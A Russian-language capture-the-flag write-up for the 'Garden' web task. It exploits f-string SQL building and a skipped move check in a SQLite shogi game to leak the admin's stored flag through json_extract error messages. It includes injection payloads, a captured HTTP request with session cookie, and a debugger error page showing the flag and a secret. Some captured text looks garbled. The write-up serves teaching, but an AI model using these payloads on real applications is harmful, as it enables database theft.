

Garden

Категория	Web
Уязвимость	Error-based SQLite injection
Сложность	medium

Описание:

Garden - веб игра в сёги, работающая на базе данных SQLite. Первым сохраненным ходом администратора был флаг, однако пользователь мог отправлять ходы только для своей игры.

Цель:

Достать флаг, используя SQL-инъекцию

Разведка:

Анализ исходного кода:

```
cur.execute(f"""
INSERT INTO game_moves (user_id, move, created_at)
VALUES ('{self.user_id}', '{move_usi}', datetime('now'))
""")
```

В данном коде нарушен принцип безопасности — **смешивание данных и кода**. Для формирования SQL-запроса используются f-строки, из-за чего значения переменных `self.user_id` и `move_usi` вставляются в тело запроса «как есть», без предварительной фильтрации или экранирования.

Если переменная `move_usi` поступает напрямую из пользовательского ввода (например, от клиента игры через сокеты или API), можно передать специальную последовательность символов. СУБД воспримет этот ввод не как текстовое значение (данные), а как часть самой SQL-команды.

```
if '*' in move_usi:
    ...
if not self.is_valid_drop(move, current_player):
    return False
else:
```

```
if move not in self.board.legal_moves:
    return False
```

В данном блоке кода проверка корректности хода разделена на две изолированные ветки с помощью условия `if-else`. Критическая ошибка заключается в том, что **если условие `if '*' in move_usi`: выполняется, то стандартная проверка на легитимность хода (`move not in self.board.legal_moves`) полностью игнорируется (пропускается)**. Таким образом, достаточно использовать ход, который содержит `*`.

Поверхность атаки :

Парсер игры валидировал ход до того, как уровень базы данных выполнял вставку (INSERT). Эти два компонента по-разному определяли конец строки хода: парсер принимал валидный префикс, в то время как SQL-билдер обрабатывал всю строку целиком.

Формирование запроса:

```
"move": "P*7b' || (SELECT move FROM game_moves WHERE user_id='admin' ORDER BY id
ASC LIMIT 1))) || '"
```

Строка начинается с символов `P*7b`. Наличие символа `*` заставляет серверную логику пойти по ветке `if '*' in move_usi`.

- `SELECT move FROM game_moves :`
пытается прочитать данные из таблицы ходов.
- `WHERE user_id='admin' :`
сужает поиск до записей, принадлежащих администратору.
- `ORDER BY id ASC LIMIT 1 :`
сортирует ходы по возрастанию ID (от старых к новым) и выбирает ровно **один первый ход**. Это необходимо, так как подзапрос внутри конкатенации должен возвращать строго одну строку и одну колонку, иначе СУБД выдаст ошибку `subquery returns more than 1 row`.

Вектор атаки:

Функция `json_extract()` в SQLite включает некорректный JSON-путь в текст сообщения об ошибке. Сохраненный флаг не является валидным JSON-путем, поэтому его передача в качестве аргумента превращает ошибку базы данных в канал утечки данных.

Получение флага:

```
"move": "P*7b' || (SELECT json_extract ('{}' , (SELECT move FROM game_moves WHERE
user_id='admin' LIMIT 1))) || '"
```

- `SELECT move FROM game_moves WHERE user_id='admin' LIMIT 1:`

Сначала выполняется внутренний запрос. Он возвращает строку с ходом администратора.

- `json_extract(json, path):`

Эта встроенная функция (доступная в SQLite) предназначена для извлечения значений из JSON-строки по заданному JSON-пути (path).

- **Первый аргумент (json):** Передана пустая JSON-строка `'{}'`.
- **Второй аргумент (path):** Передан результат подзапроса — ход администратора.

<pre> 1 POST /game/move HTTP/2 2 Host: garden.task.sasc.tf 3 Cookie: session= eyJic2Vyc2lkIjo1YTNlOWQzMGJlc0R5Zm10O2T1vLTK4MzQcMGE0RjM1NWp1OTVhbnQ.apLf7v.WqffMtcEYj6QmU O149-E230Lo 4 Content-Length: 120 5 6 Sec-Ch-Ua-Platform: "Windows" 7 Accept-Language: ru-RU,ru;q=0.9 8 Sec-Ch-Ua: "Not-A-Brand";v="24", "Chromium";v="146" 9 Content-Type: application/json 10 Sec-Ch-Ua-Mobile: ?0 11 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36 12 Accept: */* 13 Origin: https://garden.task.sasc.tf 14 Sec-Fetch-Site: same-origin 15 Sec-Fetch-Mode: cors 16 Sec-Fetch-Dest: empty 17 Referer: https://garden.task.sasc.tf/ 18 Accept-Encoding: gzip, deflate, br 19 Priority: u=1, i 20 { 21 "move": 22 "P*7b (SELECT json_extract('{}', (SELECT move FROM game_moves WHERE user_id='admin ' LIMIT 1))) (" 23 } </pre>	<pre> 1 HTTP/2 500 Internal Server Error 2 Server: ycalb 3 Date: Sat, 29 Aug 2026 13:50:36 GMT 4 Content-Type: text/html; charset=utf-8 5 Content-Length: 19731 6 7 <!doctype html> 8 <html lang=en> 9 <head> 10 <title> sqlite3.OperationalError: bad JSON path: ##39;Kasperky(Old_m4mur4i_w0uid_b3_pr0u6)##39; // Werkzeug Debugger </title> 11 <link rel="stylesheet" href="?"__debugger__=yes&cmd=resource&f=style.css" > 12 <link rel="shortcut icon" 13 href="?"__debugger__=yes&cmd=resource&f=console.png"> 14 <script src="?"__debugger__=yes&cmd=resource&f=debugger.js"> 15 </script> 16 <script> 17 var CONSOLE_MODE = false, 18 EVALEX = false, 19 EVALEX_TRUSTED = false, 20 SECRET = "g5p8Zi0rPduJsC2ux7pV"; 21 </script> 22 </head> 23 <body style="background-color: #fff"> 24 <div class="debugger"> 25 <div> 26 sqlite3.OperationalError 27 </div> 28 <div class="detail"> 29 <p class="errormsg"> 30 sqlite3.OperationalError: bad JSON path: ##39;Kasperky(Old_m4mur4i_w0uid_b3_pr0u6)##39; </p> 31 </div> 32 <div class="traceback"> 33 Traceback (emo (most recent call last) 34 </div> 35 </div> </pre>	Request quer Request cook Request head Response hea
---	---	---